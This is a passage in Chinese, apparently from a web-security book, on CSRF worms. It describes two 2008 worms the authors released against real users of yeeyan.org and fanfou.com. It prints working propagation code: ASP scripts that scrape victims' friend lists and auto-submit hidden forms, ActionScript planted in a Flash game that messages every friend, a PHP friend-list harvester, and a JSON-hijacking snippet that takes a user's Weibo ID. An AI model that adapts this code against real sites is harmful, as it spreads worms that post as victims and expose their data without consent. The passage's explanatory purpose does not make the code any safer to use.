CSRF蠕虫的原理和XSS蠕虫基本类似,只是这里用到的是CSRF,攻击代码存在于攻击者页面中,目标网站传播的内容都包含攻击者页面URL,这样才能诱惑目标网站上的被攻击者打开攻击者页面,然后触发CSRF,CSRF会继续跨域发布含攻击者页面URL的内容进行传播。
这个过程和XSS蠕虫不一样的是:XSS蠕虫的攻击代码本质上是存放在目标网站上的,即使是<script>从攻击者域上引用进来,对JavaScript上下文来说,也属于目标网站。
CSRF蠕虫的危害性大多与XSS蠕虫一样,如:获取用户隐私、对用户数据进行恶意操作、散播广告、传播网页木马、传播舆情等。
下面来看看历史上我们发起的两起CSRF蠕虫的真实攻击案例。
译言网(www.yeeyan.org)的定位是“发现翻译阅读中文之外的互联网精华”,是一个定位很专一的SNS网站,其用户参与度较高。
这是2008年发起的一次CSRF蠕虫攻击,这种传播模式当时大家并未知晓,算是一次非常新颖的探索过程,下面直接摘录了当时记录的文字,供大家参考。
我们用ASP服务端的Microsoft.XMLHTTP控件解决了可变ID的问题。只需要一个链接,类似于http://www.evilsite.com/yeeyan.asp,发送到你的译言账户的个人空间留言板,欺骗用户点击后,就可以很快传播(向被“感染”用户的每个好友的留言板上发送相同的信息,发送方是那些因为好奇而单击CSRF链接的人)。这完全不需要客户端脚本。
yeeyan.asp代码如下:
<% 'author: Xlaile 'date: 2008-09-21 'this is the CSRF Worm of www.yeeyan.com r = Request.ServerVariables("HTTP_REFERER") If instr(r,"http://www.yeeyan.com/space/show") > 0 Then Function regx(patrn, str) Dim regEx, Match, Matches Set regEx = New RegExp regEx.Pattern = patrn regEx.IgnoreCase = True regEx.Global = True Set Matches = regEx.Execute(str) For Each Match in Matches RetStr = RetStr & Match.Value & " | " Next regx = RetStr End Function Function bytes2BSTR(vIn) dim strReturn dim i1,ThisCharCode,NextCharCode strReturn = "" For i1 = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i1,1)) If ThisCharCode <&H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i1+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i1 = i1 + 1 End If Next bytes2BSTR = strReturn End Function id = Mid(r,34) furl = "http://www.yeeyan.com/space/friends/" + id Set http=Server.CreateObject("Microsoft.XMLHTTP") http.Open "GET",furl,False http.Send ftext = http.ResponseText fstr = regx("show/(\d+)?"">[^1-9a-zA-Z]+<img",ftext) farray = Split(fstr , " | ") Dim f(999) For i = 0 To ubound(farray) - 1 f(i) = Mid(farray(i),6,Len(farray(i))-16) Next Set http=Nothing s = "" For i = 0 To ubound(farray) - 1 s = s + "<iframe width=0 height=0 src='yeeyan_iframe.asp?id=" & f(i) & "'></iframe>" Next Response.write(s) ' Set http=Server.CreateObject("Microsoft.XMLHTTP") ' http.open "POST","http://www.yeeyan.com/groups/newTopic/",False ' http.setrequestheader "Content-Type","application/x-www-form-urlencoded" ' c = "hello" ' cc = "data[Post][content]=" & c & "&" & "ymsgee=" & f(0) & "&" & "ymsgee_username=" & f(0) ' http.send cc End If %>
yeeyan_iframe.asp代码如下:
<% 'author: Xlaile 'date: 2008-09-21 'this is the CSRF Worm of www.yeeyan.com id = Request("id") s = "<form method='post' action='http://www.yeeyan.com/groups/newTopic/'onsubmit='return false'>" s = s+"<input type='hidden' value='The delicious Tools for yeeyan translation: http://127.0.0.1/yeeyan.asp' name='data[Post][content]'/>" s = s+"<input type='hidden' value=" + id + " name='ymsgee'/>" s = s+"<input type='hidden' value=" + id + " name='ymsgee_username'/>" s = s+"</form>" s = s+"<script>document.forms[0].submit();</script>" Response.write(s) %>
导致出现CSRF的原形(yeeyan.asp发生作用后的客户端源码),相关截图如图9-4所示。
图9-4 译言CSRF蠕虫浏览器客户端源码
上述攻击传播之后,目标达到了,我们很快就停止了传播。当时这个CSRF蠕虫受到了质疑,于是又写了下面的内容来描述具体的工作原理。
放出的代码都在这里,代码是我们花了一天的时间构思写出来的,具有攻击性的代码已经去掉。目前译言上的CSRF蠕虫已经被抹掉。这样的攻击代码可以做得非常隐蔽,顺便加上了Referer判断。而蠕虫代码就是靠得到的这个Referer值进行后续操作的。由于AJAX无法跨域获取操作第三方服务器上的资源,于是使用了服务端代理来完全跨域获取数据的操作(Microsoft.XMLHTTP控件的使用)。看下面这段代码的注释:
r = Request.ServerVariables("HTTP_REFERER") '获取用户的来源地址,如:http://www.yeeyan.com/space/show/hving If instr(r,"http://www.yeeyan.com/space/show") > 0 Then 'referer判断,因为攻击对象为yeeyan个人空间留言板,就是这样的地址 ...... id = Mid(r,34) '获取用户标识ID,如:hving furl = "http://www.yeeyan.com/space/friends/" + id '用户的好友列表链接是这样的 Set http=Server.CreateObject("Microsoft.XMLHTTP") '使用这个控件 http.Open "GET",furl,False '同步,GET请求furl链接 http.Send '发送请求 ftext = http.ResponseText '返回请求的结果,为furl链接对应的HTML内容 fstr = regx("show/(\d+)?"">[^1-9a-zA-Z]+<img",ftext) '正则获取被攻击用户的所有好友的ID值,CSRF留言时需要这个值 farray = Split(fstr , " | ") '下面几句就是对获取到的好友的ID值进行简单处理,然后扔进f(999)数组中 Dim f(999) For i = 0 To ubound(farray) - 1 f(i) = Mid(farray(i),6,Len(farray(i))-16) Next Set http=Nothing s = "" For i = 0 To ubound(farray) - 1 s = s + "<iframe width=0 height=0 src='yeeyan_iframe.asp?id=" & f(i) & "'></iframe>" '接着循环遍历好友列表,使用iframe发起CSRF攻击 Next Response.write(s) ...... End If %>
发起CSRF攻击的yeeyan_iframe.asp的代码如下,现在兼容FF浏览器了,表单提交兼容问题。
id = Request("id") s = "<form method='post' action='http://www.yeeyan.com/groups/newTopic/'>" s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='The delicious Tools for yeeyan translation:http://www.chyouth.gov.cn/yy.asp' name='data[Post][content]'/>" s = s+"<input type='text' style='display:none!important;display:block; width=0;height=0' value=" + id + " name='ymsgee'/>" s = s+"<input type='text' style='display:none!important;display:block; width=0;height=0' value=" + id + " name='ymsgee_username'/>" s = s+"</form>" s = s+"<script>document.forms[0].submit();</script>" Response.write(s)
这就是这个译言CSRF蠕虫(或蠕虫雏形)的实现过程。根据这个原理,很多具有CSRF漏洞的网站都将受到这类威胁。
有一点要强调一下,蠕虫传播的前提是目标用户登录了目标网站,然后才能看到蠕虫消息并中招,之后的传播必定会带上目标用户的内存Cookie,所以这个过程不受限于IE下本地Cookie P3P策略的声明(见2.5.4节)。
饭否(www.fanfou.com)是国内第一个微博,当时新浪、腾讯等门户网站都还没意识到微博效应的时候,饭否微博已经盛行,可惜被和谐一次后元气大伤。
2008年12月正值饭否火热之际,我们编写了一只目前看来还是非常经典的CSRF蠕虫,这只蠕虫在凌晨1点传播出去,短短半小时就迅速传播开。由于一些原因,我们一直没公开这个事件的细节,不过现在已经没任何约束。
1. 核心点
CSRF蠕虫有以下两个核心点:
2. 技术细节
1)发现CSRF漏洞
当时发现饭否处处是CSRF漏洞(其实那个时候国内的Web 2.0网站几乎都没对CSRF进行任何防御。),并且发现其网站根目录下的crossdomain.xml配置如下:
<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>
其中,allow-access-from domain="*"这样的通配符配置是允许其他域的Flash发起跨域请求的,也就是可以利用Flash里的ActionScript脚本进行CSRF攻击。其实对于这类Web 2.0网站来说,一般情况下只要有普通的CSRF漏洞并且能够发互动性的消息,就可以进行CSRF蠕虫攻击,就像译言CSRF蠕虫那样。不过既然这里能利用Flash,而且我们都知道Flash能够呈现出非常酷炫的动画效果或者游戏,如果我们利用一款Flash游戏,并在里面嵌入恶意的ActionScript脚本,那么带来的攻击效果肯定会非常好。
因为当用户被吸引去玩这款游戏的同时,CSRF攻击已经悄悄发生,CSRF蠕虫已经悄悄传播,此时用户可能还沉浸在游戏中……
有了这些想法后,现在就开始实施,编写Flash游戏。
2)编写这款Flash游戏
我们在网络上找了一款开源的Flash游戏——连连看,并按照自己的风格对游戏进行样式上的修改,植入了我们的CSRF蠕虫代码,然后将Flash游戏放到当时xeyeteam的官网下(http://xeye.us/lab/enjoy_flash_game.php),游戏的界面如图9-5所示。
图9-5 包含饭否CSRF蠕虫的Flash游戏界面
嵌入的ActionScript代码如下:
import flash.net.URLRequest; var loader:URLLoader = new URLLoader(); loader.addEventListener(Event.COMPLETE,loaded); function loaded(e:Event){ var friends = loader.data.split(","); for each(var i in friends){ send_m(i); // 遍历被攻击者的好友列表,对每个好友都发送私信 } post_m(); // 自己发送一条微博消息 } loader.load(new URLRequest("friends.txt")); // 被攻击者的好友列表,这来自哪?后面会提到 function send_m(i){ // 发送私信的函数 var url = new URLRequest("http://fanfou.com/privatemsg/sent"); // 私信提交地址 var _v = new URLVariables(); _v = "sendto=" + i + "&content=终于编写了第一个flash游戏:连连看:),太不容易了- -...\n 欢迎测试:http://xeye.us/lab/enjoy_flash_game.php?hi=" + i + "&action=privatemsg.post"; // 私信的表单内容 url.method = "POST"; // POST方式提交 url.data = _v; sendToURL(url); // 发送 } function post_m(){ // 发送微博消息的函数 var url = new URLRequest("http://fanfou.com/home"); // 微博消息提交地址 var _v = new URLVariables(); _v = "content=终于编写了第一个flash游戏:连连看:),太不容易了- -...\n欢迎测试:http://xeye.us/lab/enjoy_flash_game.php&action=msg.post"; // 微博消息的表单内容 url.method = "POST"; // POST方式提交 url.data = _v; sendToURL(url); // 发送 }
这段ActionScript代码很简单,在第2章已介绍过其中可能涉及的相关知识点,接下来看看代码的攻击逻辑。
3)CSRF蠕虫传播开始
当用户被欺骗打开该Flash的URL地址时,ActionScript代码即触发,首先会加载该用户的好友列表文件(我们很快就会知道这个好友列表文件从何而来),然后遍历好友列表向每个好友发送一条私信,如图9-6所示。
图9-6 饭否CSRF蠕虫发送私信
每条私信中的URL地址都带上目标好友的ID号,目的是为了识别不同的被攻击者,然后获取到不同的被攻击者自己的好友列表。最后用户会自动发一条微博消息,如图9-7所示。
图9-7 饭否CSRF蠕虫发送消息
好了,现在CSRF攻击已经不成问题了,想要发送的数据都能发送成功,那么如何传播开呢?从前面的知识知道,这些Web蠕虫都是基于用户群的,需要大量的用户参与,借用户交互之势而传播,而用户之间却存在一种信任关系,一般情况下,如果是自己的好友给自己发消息,都会去看,因为彼此很信任,饭否的这个蠕虫传播正是利用了这个特性。
获取好友的列表的代码不在ActionScript脚本中(其实是可以的),而是在Flash所在的链接文件enjoy_flash_game.php中,是一段PHP代码,具体如下:
<?php //2008-12-16 //fanfou.com csrf worm with flash:) function get_friends($id){ // 获取指定用户ID号的好友列表,并以逗号分隔生成到目标friend.txt文件中 $friend_url = 'http://fanfou.com/friends/'.$id; // 好友页面 $friend_page = file_get_contents($friend_url); // 获取好友页面内容 preg_match_all("/<a href=\"\/([^<>\'\"]*?)\" title=\"/", $friend_page, $m); // 正则匹配出好友ID号列表 $friends = implode(',', $m[1]); // 以逗号连接各个好友ID号 $fp = fopen("friends.txt", "w+"); // 将结果写到目标friend.txt中,friend.txt就是这样来的 fwrite($fp, $friends); fclose($fp); } if($_GET["hi"]){ // hi参数获取指定用户的ID号 get_friends($_GET["hi"]); // 调用get_friends函数 }else{ // 如果无hi参数,则通过referer值获取用户的ID号 $r = $_SERVER['HTTP_REFERER']; $id = substr($r, 18, strlen($r) - 18); if($id == 'home'){ echo 123; }else if(strpos($id, 'message') == 0){ // 这个message页面的referer可以得到用户的ID号 $id = substr($id, 8, strlen($id) - 8); get_friends($id); // 调用get_friends函数 } } ?> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="zh_cn" lang="zh_cn"> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <title>连连看 - xeye.us</title> …. 省略一些多余的代码,这下面是HTML,嵌入这个恶意的Flash文件:evil.swf。 … <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"> <param name="allowScriptAccess" value="sameDomain" /> <param name="allowFullScreen" value="false" /> <param name="movie" value="evil.swf" /> <embed src="evil.swf" allowScriptAccess="sameDomain" allowFullScreen="false" type="application/x-shockwave-flash"/> </object> </body> </html>
从代码的注释就可以知道这个好友列表文件friends.txt的出处,能够获取到好友列表内容的关键是该内容页面不需要权限认证,直接通过服务端请求就能将目标用户的好友列表获取到。如果需要权限认证,则可以通过ActionScript这样的客户端脚本在浏览器客户端获取,因为这样会带上Cookie身份认证信息。而跨域获取数据确实是CSRF蠕虫传播时非常重要的一点。关于这点的详细分析,将在9.3.4节介绍。
到这里,有关饭否CSRF蠕虫技术的细节已经介绍得很清楚了。我们继续,前面说到被攻击者的好友们都会收到一封私信,如图9-8所示,其中一位好友(我们的测试用户)叫coxl4ile。
图9-8 饭否CSRF蠕虫,好友收到消息
当coxl4ile登录自己的饭否时,收到私信消息提醒,然后查看,发现私信是自己的好友发来的,而且居然是好友号称自己编写的Flash游戏,自然就会考虑去试玩。coxl4ile打开该链接:
http://xeye.us/lab/enjoy_flash_game.php?hi=coxl4ile
看到的就是图9-5所示的Flash游戏界面,此时CSRF攻击已经在Flash游戏内发生了。重复上面介绍的攻击过程,coxl4ile会自动向自己所有的好友发送私信,最后自己发一个微博消息,内容都一样,于是CSRF蠕虫就这样传播开了。
这是CSRF蠕虫的又一个经典案例,大家可以对比一下译言CSRF蠕虫。
2008年发起了两例CSRF蠕虫之后,我们就开始总结一些模式,其中就是探索CSRF蠕虫存在的可能性,于是有了下面这篇文章,比较具备参考价值。
顾名思义,CSRF蠕虫就是利用CSRF技术进行传播的Web蠕虫,前面的译言CSRF蠕虫以及相关分析文章说明了CSRF蠕虫存在的事实,译言网站(以下称这样的宿主为victim_site)的这个CSRF蠕虫是由用户驱动的,蠕虫的代码都存放于另外一个网站上(如worm_site),在victim_site上需要用户驱动的就一个链接http://worm_site/,该链接指向CSRF蠕虫本身。
CSRF蠕虫如何具备蠕虫的特性?我们写的代码其实没有表现出一个蠕虫本身具有的所有性质。在这里,要解决的最关键的问题就是CSRF蠕虫的传播性,即基于用户驱动的传播性(主动或者被动)。当它可以传播了,我们就可以考虑为它增加其他的功能,比如利用CSRF技术删除或编辑某些内容、增加新的内容、添加好友,等等。
1. CSRF蠕虫的传播
比如,我们要在一个SNS网站中传播CSRF蠕虫的链接(http://worm_site/),当用户单击这个链接时,就会触发CSRF蠕虫,初始时,蠕虫链接http://worm_site/被提交在http://victim_site/user=37用户的留言板上,当登录的用户A单击这个蠕虫链接时,worm_site会判断单击的来源地址,根据来源的地址本身或者来源地址对应的页面内容中的用户唯一标志,来区分出该留言板所属用户的所有好友的信息。接着筛选出所有好友有价值的信息,比如,这里就是http://victim_site/user=[user_id]链接中的[user_id]信息。根据批量获取的这个唯一的[user_id],CSRF蠕虫就可以借用用户A的权限循环发起POST型的CSRF攻击,此时蠕虫提交的表单类似如下代码:
<form action="http://victim_site/post_info.do" method="post"> <input type="text" name="title" value="hi" style="display:none!important; display:block;width=0;height=0" /> <input type="text" name="info" value="有趣的网站:http://worm_site/ 。 "style="display:none!important;display:block;width=0;height=0" /> <input type="text" name="user_id" value="[user_id]" style="display:none! important;display:block;width=0;height=0" /> </form>
该表单中的[user_id]是这个SNS网站进行用户身份标志的值,如果我们的CSRF蠕虫不能获取这个值,就无法正常传播。从这个例子中我们可以看出,蠕虫要传播,就必须能够获取那些唯一值,然后利用获取到的唯一值进行传播。在一个SNS网站中,什么值是唯一的?比如用户id、用户昵称、用户Email、用户session、用户个人页面地址。那么什么是CSRF蠕虫可以得到的?用户session仅通过CSRF显然得不到,其他的都可以得到。获取这些唯一值的意义是什么?CSRF蠕虫必须知道自己正在处理的是谁的信息,比如[user_id]为37的好友列表页面地址http://victim_site/friends/user=37,这是唯一的,只有知道这样的唯一值,才能知道该唯一值对应的其他唯一信息。上面的表单代码在worm_site上打包为一个函数:
function post_info(user_id){ var id = user_id; create_form with the id; }
该函数通过唯一的[user_id]动态生成并提交POST型的CSRF攻击表单。被攻击的目标就是[user_id]对应的用户页面,CSRF蠕虫就是通过这样的方式传播开的。
2. 跨域获取数据的几种方式
上面提到的CSRF蠕虫传播必须面对的问题是如何获取各种必要的唯一值。这里有三种方式:服务端代理技术、Flash AS跨域请求技术、JSON HiJacking技术。
1)服务端代理技术
译言CSRF蠕虫使用的就是这样的技术,利用服务端脚本获取到的Referer值来判断来源地址,由于该Referer值也许包含SNS网站中用户的唯一标志,比如,译言的个人空间链接地址http://www.yeeyan.com/space/show/19076,其中的19076就是该用户的唯一标志。蠕虫在服务端就可以根据这个唯一标志区分自己将要处理的数据,比如,获取19076用户的好友信息,就可以操作这个地址http://www.yeeyan.com/space/friends/19076。
使用服务端代理技术的优点是显而易见的,比如蠕虫代码、逻辑可以被很好地隐藏。缺点是在服务端发起的GET或POST请求无法跨域带上被攻击站点的本地Cookie或内存Cookie。这样CSRF蠕虫就只能通过Referer里的唯一值来进行下一步攻击,而不能通过获取Referer的地址对应的页面内容中由Cookie决定的唯一值,比如,这样的地址http://www.yeeyan.com/space/showme,对每个登录的译言用户而言,链接地址一样,但是页面内容不一样,其中不一样的内容由用户的身份标志决定。使用服务端代理技术无法通过CSRF技术获取http://www.yeeyan.com/space/showme链接页面中不一样的用户唯一标志。
2)Flash AS跨域请求技术
目标服务器下必须存在crossdomain.xml文件,且crossdomain.xml中的配置允许其他域的AS脚本进行跨域请求,如下:
<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy>
那么worm_site就可以使用AS脚本来发起跨域的GET请求,这是客户端发起的CSRF攻击,在请求时会带上本地Cookie或者内存Cookie,所以,可以很方便地获取我们想要的页面内的唯一值。结合AS与服务端的通信技术以及AS与JavaScript的通信技术,CSRF蠕虫将更加强大。
3)JSON HiJacking技术
JSON HiJacking攻击在4.2.2节中已提过,通过这个技术可以获取一些隐私信息。这里以盗取新浪微博用户邮箱为例进行说明,如果新浪微博登录用户访问攻击者构造的页面,页面代码如下:
<script>function func(o){alert(o.userinfo.uniqueid); //得到微博用户唯一ID }</script><script src="http://weibo.com/xxxxxxx.php?framelogin=0&callback= func"></script>
用户的唯一ID就会被获取,如图9-9所示。
图9-9 微博JSON HiJacking获取用户唯一的ID
3. 结论
除了上面介绍的三种跨域获取数据的方法外,还有其他方法。在不同的Web 2.0环境下,CSRF蠕虫的细节不一样,不过各类原理是一样的。通过对CSRF蠕虫传播原理的分析,许多广泛存在CSRF漏洞的Web 2.0网站都面临着CSRF蠕虫的威胁。Web 2.0蠕虫由用户驱动(被动的或主动的),加上一些社工技巧,这将很难防御。这篇文章分析的CSRF蠕虫是指站外CSRF蠕虫,如果在站内,同域环境下且利用XSS技术,CSRF蠕虫就不再是单纯的CSRF了。